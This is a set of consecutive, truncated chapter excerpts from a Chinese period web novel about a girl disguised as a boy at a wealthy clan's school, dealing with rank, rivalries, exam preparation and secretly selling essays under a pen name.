后来拜见老师的后生太多,林老师没来得及再问周明承就让二人退出去了。 不过巧的是,二人被垂询的时候,周连玉跟着几个朋友正在一边见李、牛二位老师的礼,出去的时候几个人也算是前后脚,也就碰上了。 周连玉算是将周稚宁的回话听了个十成十,他自负有些才干,因此也听得出周稚宁这回答不算上佳,便拦在周稚宁身前,好笑似地说:“都说宁堂弟的课业是西河村第一,但今日这回答怎么有些中庸之道?” 周稚宁现在是人在屋檐下不得不低头,她淡淡笑道:“愚弟才疏学浅,第一之名都是大家说来玩笑的。” 她认下周连玉的取笑,周连玉却不打算放过她,而是上下打量了一下周稚宁,眼神特意在她身上穿的这件密梅绸缎衣上顿了顿。 “若是我没看错,这衣裳是我承长兄的吧?”周连玉眼神中浮现出些许轻蔑,“才一夜的功夫就上了你的身,原来宁堂弟带来的那些大口箱箧里连一件过冬的衣裳都没备下。” 这话便是刺周稚宁贪慕虚荣,放着家中的旧衣裳不穿,专讨周明承的贵重衣裳。 周明承面色微变,道:“玉弟,有些话别说的太过分,这衣裳是我主动赠给宁堂弟的。” “长兄说的是。”周连玉听见周明承说话后便垂头,“这府内上下谁不知道长兄心慈?” 这话虽退了一步,但还是在暗讽周稚宁,只是周明承为顾大家脸面,这才认下是他“主动”赠给。 周稚宁叉着手拢在袖中,面上依旧带着不深不浅的微笑。 古时分嫡庶尊卑、长幼秩序。周明承是嫡长,周连玉为庶幼,无论怎样都没有嫡兄出声制止,庶弟还不肯罢休的状况。 况且周允能姬妾又多,即便是儿郎,府中也是不缺的,可以说嫡子只有一个,庶子犹如过江之鲤。因此,周连玉身为庶子还能挣到此前待客的任务,已经是不易了。可他把事办砸了还不知收敛,现在又多次挑衅。 只要周允能还不算失心疯,将来就是再有露脸的机会,也不会有周连玉的份儿了。 因此周稚宁面上很是端得住神色,又因有周明承替她拦着,倒显出她有几分荣辱不动于色的凛然沉稳。 周明承也不好继续跟周稚宁一起走了,就开口让周稚宁先回去,自己留着周连玉劝两句。 周稚宁也不推辞,转身就带着茗烟走了。 不过她还没走远就听到了周明承对周连玉的劝告,以及周连玉绵里藏针的回话。 她明白周连玉怕是要不中用了,这连带着她的步子也轻快很多。 正绕过回廊,在穿过一方庭院的时候,周稚宁感到脚下一硬,像是踩到了什么东西。 不用她自个儿动手,茗烟就替她把东西拾了 6. 士族弃子? 《寒门首辅》全本免费阅读 平原赵氏是士族,但如今科举制大兴,士族的垄断权早就被打破了,就算是大士族的嫡子想要入朝为官,也得和普通学子一样经过科考。 但话虽这样说,也不是没有至今还风光无限的士族。 周稚宁道:“同样姓赵,怎么琅琊赵氏比这平原赵氏风光得多?” 闻言,茗烟抿唇笑道:“琅琊赵氏的先祖有从龙之功,太祖特许可以保留士族仪制,另赐侯爵之位,世袭罔替。族中儿郎皆能入宫伴读,这样的上上恩荣自然不是他人能比的。” 不愧是高官府里的,知道的倒是不少。 周稚宁有些兴趣,就与茗烟多聊了聊,二人一前一后地慢慢地往回去的路上走。 另一边,杨氏与几个姐儿都留在小院里做活儿。 他们带来的过冬衣裳虽多,但大多穿不出去,比起府里其他几个姐儿的要逊色不少。周允德嘱咐她们莫要在外丢了周稚宁的脸面,又勉强凑了十来两银子,叫她们好歹去街面上做身看得过去的新衣裳。 但平城毕竟不比西河村,物价讲出来都要骇死人。杨氏带着几个姐儿逛了一圈,连一件衣裳都舍不得买,最后还是去布庄比量着买了几匹颜色鲜亮的布,打算回来自己动手裁剪。 周巧珍、周巧慧两个人还耐得住,但周巧秀年纪小,又好动,没一会儿就将手上的针线放下了,跑去扒窗子看院子里的雪景。 其实这么个小院子早怎么好看也看了不下十来遍了,雪景天、半白的庭院、枯干的老树、散乱的地面…… 周巧秀看了一会儿就失了兴趣,只艳羡地说:“小弟真好,可以在外面到处跑着玩呢。周府里的景色应该比咱院里的更好看吧?” 自从到了周府以后,周巧秀感觉家里的规矩都变大了,什么地方都不许去,只能待在自己的小院里。她又是个好动的性子,才拘束了两天就受不了了。 杨氏拿绣花针揩揩发顶,头也不抬地说:“你弟弟是要做大事儿的人,哪儿是去玩的?你安分些罢。” 周巧秀撇撇嘴,安静了,可没一会儿,她又说:“阿娘,听说周府里有个很别致的小花园,种的是梅花,开起花来艳艳的,可好看了。” “你这孩子……” 杨氏有些不耐:“女儿家家的天天想着往外跑作什么?你又不是儿郎。还是趁早多向你阿姐学学,多在女红针织上用点心,将来才能许个好人家。” 但话说到这儿,杨氏又不由替周巧珍的婚事担起了心。 过了年周巧珍也就十六了,这花一样的年纪该许人家了。若是拖来拖去,到了十七、十八岁,能挑拣的人家就少了半壁。要是再拖到十九、二十,能挑的人家又少半壁。 到时没有丰厚点的嫁妆,能挑给周巧珍的也只剩些不入流的田舍汉了。 亲手养大的女儿,杨氏怎舍得周巧珍吃苦呢? 她许是可以求求周允能的。 但是想想周稚宁的脸色…… 杨氏下针的速度都慢了些,可她转念一想,她又不是求周允能给珍姐儿指个大富大贵的人家,官宦子弟他们不敢攀,难道连个有前途些的秀才也指不得么? 她暗暗打定了主意。 * 引见过先生的第五天,周府的族学终于开了。 族学选址在周府中央,是一栋飞檐走角的大院,院外是江南式的黑墙白瓦,两盏红灯笼挂在门口。 推门而入,是四进制的宅邸,左右挂着十来幅先贤画像,面前则是一个“牌匾”,堂下安置了数十张书案,文房四宝一应俱全。 各个公子带来的小厮先自家主子一步进去,快步走过青石板铺设的庭院,来到早就安排好的书案边,将红漆书箱里的书本一一拿出,在书案上摆放齐全。 等他们忙活完,公子们才不紧不慢地各自落座。 周稚宁注意了一下堂内的位子。 凡是周家嫡系子弟都在前三排,周明承居正中,往他旁边延伸过去也都是其他家族的嫡系子弟,几人尚未落位就已经攀起交情来了。 中三排留与周家旁系子弟,以及家世不及前三排者。他们这些人虽然有点子互相看不上的味道,但也有所交流,时不时还伸着头往前三排插两句话。 后两排则是鱼龙混杂,有托了府里夫人们的裙带关系进来的,也有府里家生奴才的长子,再有的就是周稚宁这种占了个名头上的便宜进来的。 这些人对彼此的底下身份算是知根知底,完全歇了彼此套交情的心思,只顾着讨好前六排。个个笑的谄媚,行为动作是标准的狗腿子做派。 这个所谓的族学,还未开始便能看出乌烟瘴气了。 周稚宁翻开了自己书案上的书,眼角余光瞥见还有一道身影与她一样稳坐。 扭头一看,对方还是一身玄色衣裳,不同的是大袖边的金丝滚边换成了银线云纹,腰间挂着玉珏,面色俊美冷漠,眸色冷清,兰枝玉树。 平原赵家虽然落没了,但好歹也是士族,怎么沦落到与她同一排了? 周稚宁略微惊讶地挑眉。 赵淮徽也注意到了周稚宁的视线,朝她投来了冷淡的一瞥。 周稚宁一时来不及掩饰,二人视线猝不及防相交了一瞬,周稚宁以拳抵唇,轻咳了两声,若无其事地转开眸子。 显然赵淮徽也没想与周稚宁有什么交集,也安静收敛视线。 二人各自沉默下来,像是彼此并不相识。 不多时,牛、李、林三位老师皆来了。 族学里最大的已有十五六岁,早就下场考过了童生试,取得了秀才身份,譬如周明承。最小的也才九岁,虽是开蒙过,但到底没有正经念过几年书,比如周府里家生奴才的长子,一个叫王大拿的小子。 类似于周稚宁这种年岁正好又念过几年私塾的人最多。 正好,来 7. 仿佛看见了自己 《寒门首辅》全本免费阅读 策论被收了上去,几位先生讨论了一番,选出了几个较为出彩的,其中周明承的卷子毫无疑问被列为第一,再往下就是其余几个世家子弟。周连玉也在其中,只是名次落后,但比起周稚宁来说还是靠前的。 周稚宁的卷子甚至没什么批语,只是干巴巴地夸了句“字形尚可”就给发放了回来。 这本在意料之中,周稚宁并不在意。 周明承那边因为牛老师给的评价颇高,一发卷就有人围上他说话。这本是个拉拢人脉的好机会,但周明承并没有与他们多做攀谈,略微敷衍了几句,就朝周稚宁走了过来。 “宁堂弟答的如何?”周明承问。 “一般。”周稚宁随意回答。 周明承看了眼她的卷子,说了两句宽慰的话:“忠奸之辩向来难答,古来出彩者也不过尔尔。宁堂弟这般年纪答到这个程度已经是难得了,往后多加用功,必定还有可为之处。” 周稚宁嗯了声。 “待会儿下了学宁堂弟可有打算?”周明承笑笑,“我与几个朋友打算去七录书斋逛逛,听说哪儿的斋主新进了一本《城西集》,里面收录了赵徽三月前的文章,我想约你一同去瞧瞧。” 说着,周明承可能怕周稚宁并未听过赵徽的名字,又着意解释道:“这个赵徽是琅琊赵氏的嫡子,圣上特赐爵位,世袭罔替。他自己也是写的一手妙文,文采斐然,每出一文,都引得热议,许多人追捧,可以说是一篇难求。若以文章论,怕只有平江笑笑生能与之相媲美了。” 周稚宁闻言,长眉微扬:“即然如此有名,那我与堂兄一同去。” 两人言罢,周明承回了自己的座位。 片刻后,牛、李、林三位先生授课完毕,散了学,周稚宁就和周明承并肩出了院子。 二人的小厮早就等在外面了,都各自提着红漆木箱子,预备着替二位主子收捡书本。 这二人向来是妥帖性子,但此刻倒有些分神,互相使着眼色,朝院外角落里探看。 周稚宁也顺着他们的视线看过去,发现角落里站着个高大的汉子。 这汉子从面容看来约莫二八光景,长脸,浓眉,虎眼,短胡须,一身劲衣,袖口处还特意收紧,显得干净利落。由于身材过于高大魁梧,闭口不言时显出几分凶神恶煞,像是那落草为寇、刀口舔血的莽匪。 但此时这汉子和茗烟、茗雾两人一样,提着一个红漆木书箱,迈开大步,冷脸站在角落里,眼神还往院里逡巡着,似乎是谁的书童,来接小主子下学。 周稚宁看出这汉子有几分货真价实的戾气,但不知道他是来接谁的。 刚好身边一道风过,一个身影擦过周稚宁的肩膀朝那汉子走了过去。 周稚宁看着赵淮徽随手将手上的书本递给那汉子,汉子接过后将其仔细放回书箱,又从书箱里拿出一个汤婆子,一件纯白狐狸毛披风,和一个暖手的皮毛套子递给赵淮徽。 直至将人包裹到密不透风的程度,他才撑起一把油纸伞举过赵淮徽的头顶,主仆二人朝远处走去了。 周稚宁心中奇怪。 赵淮徽出身再好,再高贵,他也是个男子。男子怎么会如此柔弱?像是受不了一点冷,比她这个货真价实的女人还要畏寒。 “士族出身的人是会有些怪癖。”周明承也在一边看着,他解释道:“他们比起一般人要讲究许多,特别是这位赵公子,算是我这些年遇到过的最精致的人了。” 周稚宁收回视线:“这话怎么说?” 周明承道:“本来家中族学除却贴身衣裳以外,一应器皿都有准备。但这位赵公子来了以后就派人更换了屋中的一切陈设。从茶具、香炉、书案到花瓶、书架,甚至是帷幔、珠帘,都换成了他从京中到来的器物。” “除此之外,他房中日日燃着银霜碳。这样的数量府里供应不及,他便自己在城内购买,一月下来几十两银子的花费是常事。” “且上次接引之时,我还察觉他身上佩戴的都是暖玉,触手生温,寻常人不可佩戴,是极珍贵的珍品。” “饮食方面更是讲究,一日三餐都不是在府中留用,只是借了府里的小厨房,负责烹饪膳食的是他从京城里带来的厨娘,用以烹饪的食材也是每日从府外运进来的。” “至于衣料、出行、车马等等更是不言自明。” 周稚宁咂舌。 按照赵淮徽这样的生活习惯,那一个月下来至少也得百来两银子。不是说平原赵氏已经没落了么?怎么还有这么多的银钱供一个家族弃子挥霍? 两人谈论着,不知不觉就到了七录书斋。 由于有了赵徽的文章,前来购书的文人们在七录书斋外排起了长队。 好在周明承常来这家书斋,书斋掌柜知晓他的身份,于是直接将人迎了进去,还免费奉上了两本《城西集》供二人赏玩。 周稚宁也不与周明承客气,径直拿起一本就翻到了赵徽的那一页。 下一刻映入眼帘的却是一手熟悉的瘦金体。 同样的铁画银钩,同样的狂放恣意,与赵淮徽的字迹竟然有七八分相似。 周稚宁有些惊讶。 周明承在一边说:“这集子上每一篇文章笔迹都是由专人仿的原主,不说有十分相似,但也有八九分相像。但赵徽此人性格狂放,其在书法上虽有大成,但笔势走法很少有人能临摹得下来,最多只能仿八分,仿不出原来的神韵。不过赵徽的书法依旧很受文人们追捧,仿他之人如过江之鲤。” 那赵淮徽应该就是仿的赵徽的笔迹吧。 只是仿就有这样的气势,那本人的书法怕是更为不凡。 周稚宁再看文章内容。 约莫是少年意气太盛,文章内容锋芒毕露,有些地方过于激进到甚至于偏激。但字字珠玑,词采华茂,读起来令人如拨云见雾,茅塞顿开,确实是好文,周明承所言不虚。 周稚宁读了一两遍后还舍不得放下,一边重读,一边在心中默背。 她记性不坏,不消一盏茶的功夫,整篇文章就背的七七八八了。她咂咂嘴,感觉略有回味。再一抬头,周明承还在埋头读着,她想了想,干脆站起身来朝楼下走去。 其实就算不答应周明承出来这一趟,周稚宁也是要来寻书斋的。 她摸了摸袖子里拢起来的卷子,眼神在大街上巡视了一番,最终落到了一家其貌不扬的小书店上。 “掌柜,打扰了。”周稚宁含笑着拱手,“不知贵店收文章么?” 那掌柜的是个中年男人,细长眼睛,羊胡须,神情精明。 他上下打量了周稚宁一眼,约莫见她模样稚嫩,年岁不大。 “收……” 掌柜的语调拖长,显得漫不经心:“但我们店只收大家,寻常举子们写出来的文章,我们是不收的。” 周稚宁笑了笑,压低嗓音说:“平江笑笑生的文章可收么?” 这名字一出,掌柜面上散漫的表情陡然一收:“他?!文章让我看看!” 周稚宁将袖筒里的文章拿出去。 这上面正用漂亮的字体写着几个大字“忠奸之辨”,文章末尾还落了款——平江笑笑生。 掌柜的把这落款连看了两三遍,确定印章没错后,才笑呵呵地说:“小兄弟,平江笑笑生的文章虽千篇难求,但他也有一两年没有出过新篇了。你这一篇……不知从何而来啊?” “自然是他亲自给我的。” 周稚宁很熟练地搬出了自 8. 对她失神 《寒门首辅》全本免费阅读 周稚宁将银子拢在袖子里装好的时候,周明承也从七录书斋里出来了。 彼时周稚宁正在明亮的雪光里站着,眉眼俊秀,清淡雅致,冷的仿佛生人勿近。 周明承喉咙上下滚动了一圈,忍不住叫了声:“宁堂弟。” 周稚宁闻言朝他欠了下身子,道:“堂哥,我本是个坐不住的人,看了会儿文章就想上街逛逛。但看堂哥看的正入神,我实在不敢搅扰,所以就自己先出来了,堂哥勿怪。” “不怪你,再好的文章读起来都是枯燥的,即便是我,有时候也会走神。”周明承笑了笑。 随即二人并肩踏雪往回走。 周明承弯着眉眼:“你我二人是兄弟,若下次你觉得无味,自个儿出来就是了,不必拘礼等我,不然倒显得是我拘束了你,怪不好意思的。” 其实周明承对其他的兄弟说话并不一直是这样如微风和煦的,只是周稚宁给了他一种不一样的感觉。 以至于他说话不由自主地软和下来,就像平日里与几个堂妹说话一般温言软语。 周稚宁并不清楚周明承的心思,只以为周明承是预备一门心思在她面前把好人装到底,扯了扯唇角,敷衍着回了些客套话。 许是因为街面北风肆虐的缘故,周稚宁的声音被呼啸的风声一卷,显得支离破碎,周明承听不太清,就稍稍贴近了一些周稚宁。 只是靠近了后,周明承的注意力却不由自主从周稚宁的话语,转移到了周稚宁的脖颈处。 可能因为少年身形还未长成,所以周稚宁的喉结并不明显,只有一点凸起。脖颈更是纤细雪白,线条优美流畅,偶尔的一个垂首,露出颈后的一抹白腻肌肤,柔美脆弱的仿佛他一只手就能扼住。 周明承眼眸颤了颤。 似是察觉不对,周稚宁迎着并不清明的日光仰起脸来看周明承,眉眼如冰雪雕砌一般,抿住的唇色带着一抹浅淡的薄红:“堂兄?” “嗯?” 周明承被唤了一声,下意识嗯了一声。可低头一见周稚宁琉璃般透明的眼眸,他仿佛像被什么东西烫了一下,不由立即匆收正了视线,言语有些慌乱:“呃……我、我方才在想二姑母与几位堂妹来了这几日,似是还未与府内女眷们见过。” 原来是这件事。 周稚宁移开眼眸,内心思忖,周府其实并不待见她一家,这从周允能的态度就可见一斑。因此,周稚宁并不指望周府的女眷们会对杨氏她们有多大的善意,见了面,不嘲笑杨氏几个如村姑一般寒酸就算是积德了。 只是这事儿又推不开,毕竟哪儿有妯娌同住一府却互不相识的道理? 更何况这宅子里可还住着那些高门子弟呢,若是叫他们闻听了,未免又要惹出笑话,讥讽周允能一朝得势便猖狂。 也难怪周明承出神思索,这事儿确实不好安排。 周稚宁帮着出主意道:“大伯母执掌中馈,无暇顾及旁事,我们也不愿意多加叨扰。寻常那些迎门的礼节就不用了,不如就明日一同用次晚膳,届时我再引家母和几个姊妹与大伯母见过,这就算完了。” 这话题本是周明承为了转移注意力才丢出来的一个,没想到周稚宁却真为他出好了主意。 其实周府的态度周明承心知肚明,既然周稚宁肯不拘礼节,周明承也不强求,道:“即使如此,那我今日回院后就与母亲商议。” 两人说好之后,就分开了。 * 第二日周稚宁到族学时,学堂里的人已经坐的差不多了。 牛、李、林三位夫子大概私下里商量过授课详情,因此今日是分开授课,李、林两位夫子都没来,到的是牛夫子。 这位牛夫子长相如同他的姓名一样,很是粗犷,浓眉虎眼,毛发浓密,身形高大魁梧。虽然他已经尽量如同其他文人一般剃干净脸上多余的胡须,蓄美须髯,穿文人青衫。可他只要往哪儿一坐,看起来还是像江湖上落草为寇的贼匪。 因此不过一天,族学里就有些嘲笑牛夫子外貌的言论。 外貌协会当真是自古有之。 “肃静!” 牛夫子站在堂前,面无表情地说:“在座的既然来了这个学堂,便应该知晓来年二月便是童生试的时候了。童生试分为县试、府试和院试三阶段,你们只有最终通过了院试才能被称为秀才,才能取得参加秋闱的资格。其对于在座的重要性有多大,想必我不用多做赘述了吧?” 周稚宁在下方听着,揉了揉额角。 古代的考试不同于现代,不是那么的人性化,一次考试往往就是一口气考完。就拿童生试来说,常常是五场连考,考过了紧接着就是府试,然后就是院试,时间安排的十分紧凑,错过一场,那整个童生试的成绩就作废了。 一次童生试考不过,那就得再等三年。若是再出了差错,那就是三年之后又三年,可是人生又等得起几个三年? 而除却了这些外在因素之后,再就是内在因素。 就拿县试来说,第一场是考四书两道、作诗一道。第二场是四书一道、赋一道、诗一道。第三场是四书一道、诗一道、论一道。第四场四书一道。 先不说四书《大学》、《中庸》、《论语》、《孟子》之类加起来百万字的理解、背诵量,就说诗、赋、论这三者,也不是简单好掌握的门类。 有多少人考这个童生试,从十来岁考到二十来岁,足足花费了十年光阴,甚至也未必能考上,周明承在十五六岁的年纪就中了秀才,已经可以算是人中俊杰了。 如此看来,童生试不可谓不是踏上科举之路的第一道门槛。 果然,牛先生将话说完,学堂中一些尚未考过童生试的人都忍不住窃窃私语了起来,大部分看上去都很紧张,不过周稚宁的心情还算平静。 四书、诗、赋、论这几样,她自从来到这个世界之后就一直有认真研习,她前世的身份也算是帮了她大忙。所以在西河村的时候,为她开蒙的夫子差点将她当作百年难得一遇的奇才,批语她若是下场考童生试,拿个案首是不成问题的。 虽然周稚宁知道自己只是沾了成年人心智的光,但也明白童生试对她来说应该不会那么艰难。 因此相比于其他人的坐立不安,周稚宁目光清正地端坐于自己的座位之上,反倒显出几分巍然不动的风姿。 赵淮徽眼角余光瞥了她一下,颜色寡淡的唇瓣微抿。 牛夫子面上不显,心中倒是对周稚宁的态度有些欣赏。要知道科举考的不只是知识储备,也是身体、心理。泰山崩于眼前而面不改色的人,科举一途往往走的更顺。 他走到周稚宁面前,神色略微和蔼:“我记得你叫周稚宁?” 周稚宁讶异牛夫子会主动来问她,忙站起来应道:“是,夫子。” “可有文章让我看看?” 周稚宁左右看了一眼。 学堂内,周连玉几个对她侧目相看,似乎在关注牛夫子对她说些什么。 周稚宁垂下眼眸想了想,就翻出了昨日交上去的《忠奸论》。 这文章是几位夫子看 9. 互生闷气 《寒门首辅》全本免费阅读 到了用晚膳的时候,众人就出了学堂。 周明承还是照旧等着周稚宁。 两个人踏雪而行,雪块在两人脚下发出吱嘎吱嘎的声音。 周明承扭头,发现今日周稚宁比昨日多加了一件绛色披风,纤细白皙的脖颈上缠着一圈兔儿卧,细密的雪色容貌将她的脸围起来,显得眉眼清雅冷冽。 周稚宁道:“今日的晚膳要劳烦大伯母了。” “一家子人不必言谢。”周明承让自己收回视线,“只是母亲的意思是,既然是一家子共同用膳,不如请了族学的诸人一道,年关将至了,这样也显得热闹。” 周明承的母亲邓氏是大儒之女,从小就被教导着执掌中馈,深明后宅管家之理,做事也十分稳重大方。此次宴请族学的想法也不错,算是当着众子弟的面承下了与周稚宁一家人之间的关系。 周稚宁无可拒绝,自然应承。 席面是周府早就备好了的,等周稚宁与周明承到时,周府内的一座水榭上已经挂满了明角灯,将池面照耀的水波荡漾。 邓氏坐在主桌,旁边一水儿围着她生的几个儿女。大些的是一个姐儿,名唤周妍,十一二岁的年纪。小些的还不会走路,由乳母抱着在一边喂养。其余的就是邓氏院子里的丫鬟,贴身的一个大丫鬟站在邓氏后面,预备着等会儿为邓氏伺候布菜。 至于周允能的几个姨娘则上不得台面,都安排在次次桌。 次桌则是几个姨娘生的哥儿、姐儿,她们虽出身不高,但也是周府内的正经主子,论地位是要高出姨娘们的。杨氏和周巧珍、周巧慧几个全都凑在次桌。至于周允德暂时没来,论道理他是二老爷,又不是女眷,因此就跟着周允能叙话去了。 族学里的学子们出身不错,可因为是外男不能离女眷们太近,因此就将他们安排在一处靠近梅林的地方,既能欣赏水榭景色,也能嗅得一缕梅香,是个不错的地方。 周稚宁和周明承的座位也都在这里。 不同的是,周稚宁是因为身份有限,周明承则是以主家的身份来作陪的。 周稚宁刚坐下,眼神就追着杨氏她们看去。 好在虽然杨氏出身不高,可将几个姐儿都教养的不错,不说有如世家贵女的教养,但也是落落大方。 见几个姊妹脸上都带着笑,周稚宁也弯了弯眉眼,神色温和。 这时,她耳边听到有人道:“赵兄,我能和你换个座位吗?” 周稚宁回过头来,看见她身边坐着的是余青松,是学堂里能坐在中三排的人。他申请换座位的对象是赵淮徽,而赵淮徽旁边坐的是周明承。 谁都看得出来,这个余青松是想去和周明承套近乎。 按理说赵淮徽出身没落士族,如果和周明承打好关系,对自己也是很有好处的。但在听到余青松的话后,赵淮徽竟然也不拒绝,面无表情地站起来,很干脆与余青松换了地方,又在周稚宁旁边坐下了。 周稚宁本不想和赵淮徽多靠近,但因为周明承在这桌的缘故,许多人都想往这桌挤,本来只能容纳八人的方桌,硬生生坐下了十二人,周稚宁也被迫移动了圆凳,与赵淮徽贴在了一处。 赵淮徽瞥了她一眼,周稚宁回看。 两个人的视线在空中交错了一瞬间,就如同互不相识一样迅速偏头。其动作丝毫不拖泥带水,可见在课堂之上结下的梁子,这两个人都还记在心里。 不如就这样互不说话一直到晚膳结束算了。 周稚宁默默想。 可偏偏上天不让她如愿,因为席间人实在太多,丫鬟们来摆饭竟然也找不到插手的空当,为难地左右看来看去,最终觉得周稚宁身形清瘦,还算是能见缝插针,于是就走到周稚宁与另一名子弟之间弯腰摆饭。 周稚宁被这丫鬟一挤,身体不由自主地就往赵淮徽那边靠。被发带束起的青丝拂过赵淮徽的手掌,又飞快地滑下。明明只是一瞬的接触,却给指尖带来了两分难以抑制的酥痒。 赵淮徽又瞥了她一眼,长眉似乎扬了扬。 周稚宁心中郁闷,想要直起身子。 可是摆完饭之后,不知是何人又给他们这一桌上了一壶温酒,选的还是周稚宁这边。周稚宁方才直起身体,现在又被迫压了下去。她额上青筋微跳,可又只能继续保持姿势不动。 但周稚宁往赵淮徽这边偏,赵淮徽不知为何也没躲,依旧原位端坐,二人一下靠的极近。周稚宁从赵淮徽身上闻到了一股淡淡的味道。像是雪后的松柏,冷冽清寒,仿佛让人看见了千山万雪,闯进了荒茫一片的冰原。 周稚宁不由偏开头想,抛开这士族恶劣的性格不谈,他身上的味道还是挺好闻的。 * 温酒上完了,周稚宁终于得以摆脱,立马就坐正了身体。 这时,席上有人拿起酒壶倒酒。 有人笑道:“冬日里怎么还吃酒?当心明儿写大字的时候手发颤,被牛夫子打掌心。” “不过一杯,权当暖身吧。” 那人笑嘻嘻说着,着意给席面上每个人都斟了一杯,一圈下来,酒壶就见底了。 周稚宁不善饮酒,手拢在袖子里未动。 倒是赵淮徽似乎格外畏寒,散发着蒸腾热气的酒甫一摆在他面前,就被他饮尽了。 沾了酒液之后,他唇瓣恢复了些许血色,不再是苍白无色的模样了,身上的寒气似乎舒缓了许多。 不过酒只一杯,赵淮徽喝了之后就没有第二杯了。 周稚宁看了看自己面前尚未动的热酒,转眸瞥了赵淮徽一眼。但最终她还是没动,静静地等待酒杯热气散尽。 席面上酒过一巡,几个子弟也就热络起来了。 一人道:“听说唐衔青也会来族学。” “唐衔青?”有人惊奇,“可是内阁大学士唐纳之的长子?” “他竟然也来了族学。” “唐衔青俊美不凡,出身才干都是拔尖儿的,最重要的是至今尚未婚配。” “我也听说了,听说唐夫人正在着意给他找一门好婚事。也不知哪家的贵女会有这样的福气。” 只是这些人虽然嘴上说着不知道花落谁家,但心里还是觉得周府的可能性最大。 且不说周允能现在风头正胜,就说周明承也是十几岁就中了秀才的俊才,前途一片坦荡。 而且算算年纪,唐衔青今年十七,只长周妍六岁,正好可以定下婚事。 即便桌上也有人意动,想为自家姊妹争取,可大部分也只是想想就算了。 周稚宁也只是听听,没把这事儿往心里去,毕竟以身份论,这个叫唐衔青不会与她家几个姊妹有任何交集。 接下来各人用饭闲谈,其内容也因为谈到了唐衔青,而偏向于婚事嫁娶这方面。 周稚宁对这些话题并不感兴趣,简单净过手后,她就跟着周明承暂时离开了席面,去与杨氏等人一同对邓氏见礼。 周稚宁一走,席面上便有人笑道:“文人都说娶妻要娶贤,我却不然。我若将来婚配,必定要娶一个美人,只要她往哪儿一站,就叫人移不开眼,浑身骨头发酥。” “天底下女子虽多,可美人不多,汪兄也太挑剔了些。” “章兄此言差矣,在咱们族学里倒也不是未见容貌出众之人。方才走的那一位不就是么?” 他们是不敢拿周明承说笑的,所指的自然就是周稚宁。 赵淮徽眸中凝起一点冰色,抬眸望向说话者。 说话者还在喟叹:“这样的容貌气度,倘若是托生成女子,当是何等的惊艳绝伦,只可惜是个男子。” 大概是因为周稚宁不在,所以这几人谈论起来也没什么顾忌,更何况在这桌席面之上,没有人是周稚宁的好友,他们也不用担心会有人转告。 “要是真心喜欢,结个契兄弟又有何不可呢?届时给足钱财,也不失为一桩风流雅事啊。” “她身份地位不如你,左右也翻不出什么浪花来。相伴个五年、十年,再为她寻个幼妻繁衍子嗣就可以了。” 众人你一句,我一句的,说的那人倒有点心 10. 学生领罚 《寒门首辅》全本免费阅读 自从与邓氏见了礼,妍姐儿和周巧秀两个就相熟了起来,连带着杨氏几个也经常在府里走动,不过大多数是去坐着绣绣花,谈谈天,没什么大事。 周稚宁也就渐渐放松了对杨氏的注意,毕竟她也只有一个人,每日族学里的事情已经很多了,再加上她每日天不亮就起来念书,实在没有什么多余的精力分给杨氏。 周府里的族学虽然看起来不成个样子,但规矩很重,每日都要点卯,时间就在卯时二刻。 周稚宁才点过卯落座,不久就看见林老师带着一个穿着宝蓝色褙子,腰间挂着块美玉,眉眼俊美的少年人走了进来。 一见着人,周稚宁就猜出他估计就是子弟们口中议论的那个唐衔青。 唐衔青的父亲是内阁大学士唐纳之,官居正五品,照理来说是比周允能这个正四品大员的官位低些。但前些日子圣上刚刚下旨,封唐纳之为太子太傅。这个并非虚衔,而是太子货真价实的老师。 因此作为唐纳之的嫡子,唐衔青的地位身份高的吓人。 林老师大概是得了通知,一来就将周明承身边的位置空了出来,预备让唐衔青坐,至于这个座位的原主人则被挪到了下一排。 学堂里的座位本就刚刚好,如今忽然多插了一个进来,倒连累了周稚宁往旁边多坐了一个,本来好好的方块阵型,此时多出来周稚宁这么一个点。 那边唐衔青的视线在整个学堂内环视了一圈,眼神落在周稚宁的脸上,眼里闪过一丝惊艳,不由多停顿了一会儿,随后才笑着坐下了,与周明承互相见礼。 “子瞻兄,去年考场我们可还见过面,如今再聚首,竟然如此有缘。”唐衔青笑道。 去年童生试的时候,唐衔青和周明承一个考场,二人早就见过面,关系颇为友好。 周明承也笑:“有为兄瞒的我这样紧,一丝风声也不透露。还是听同窗们闲谈才知道有为兄要来族学。” “你知道我最受不得拘束,学堂里又闷得慌,我这是几次三番推脱不掉,这才来的。” 唐衔青笑道:“不过若我早知道你们学堂里有一位美人儿,我肯定不会那样百般推辞,你也能早些接到我的信了。” “美人?” 周明承一愣,脑海中立即浮现出一张冷清的面孔。 他不由抿了抿唇瓣:“有为兄说的应该是我宁堂弟吧?她容貌确实生的好,只是她身为男子被叫做美人不合礼数,还望有为兄莫要开玩笑。” 唐衔青奇道:“你什么时候也变得如此正经了?那堂弟与你家很亲近么?” 周明承看着唐衔青这张风流俊美的脸,平静道:“先不论亲近与否,我那堂弟终究是堂弟,我这个做哥哥的总要担点责任。” 这番话说出来,唐衔青随意的笑了笑,转过身去,开始翻阅桌案上的书籍,显然并不觉得周明承对自己的庶弟都不愿多管,还对一个堂弟有什么责任。 周明承却回过头往周稚宁那边瞥了一眼,眼眸微沉,心中不知为何有点淡淡的不快。 * 如今已经十二月中旬,离童生试还有不到三个月,即使林、李两位老师平日总是刻意迎合周家本族子弟,但这个时候也稍稍把注意力分给了周稚宁这些马上要入场的学生。 周稚宁坐在这个“刺头”的位置,前后都没人,只有身边坐着个赵淮徽。 不过自从上次赵淮徽被她讥讽过后,两人已经很久没有说过话了。 只是这种不说话可能是她自己单方面认为的,因为她有时候发现赵淮徽会用一种欲言又止的眼神看她,似乎是有什么话要说似的。但是每每尚未开口,她就故意做出疲倦的姿态将之挡了回去。 久而久之,赵淮徽也不再露出这种表情了。 周稚宁对此感到很受用,毕竟他俩阶级不同,三观也会不同,多聊两句,也许两个人结下的梁子会更大。 周稚宁翻了翻面前的《文章选注》。 四书五经是这个朝代必学科目,四书不必多提,五经则是《诗》、《尚书》、《礼记》、《易经》、《春秋》。 每一部经都是圣人精华大成,若要让学子们个个学的通透自然是不可能的,因此在开蒙的时候,老师会根据学生的情况与意向为他们选择主要学习的经典,也就是所谓的本经。 她的本经是《春秋》,此书微言大义,以一字寓褒贬。虽然是孔圣人经典,可因为难度太高,选择它作为本经的学子甚少。即使是周稚宁在翻阅时,也不敢保证全能吃透。 所以以往她花了很多时间在理解《春秋》之上,只是本经虽然重要,但其他的经典也不能不一概不知。 周稚宁已经简单背诵理解过其余四经了,但还觉得不稳,就拿了《文章选注》看历代名师对四经的分析解释,堪比现代的《教材全解析》。 她在翻阅的时候,林老师就站在前面授课。 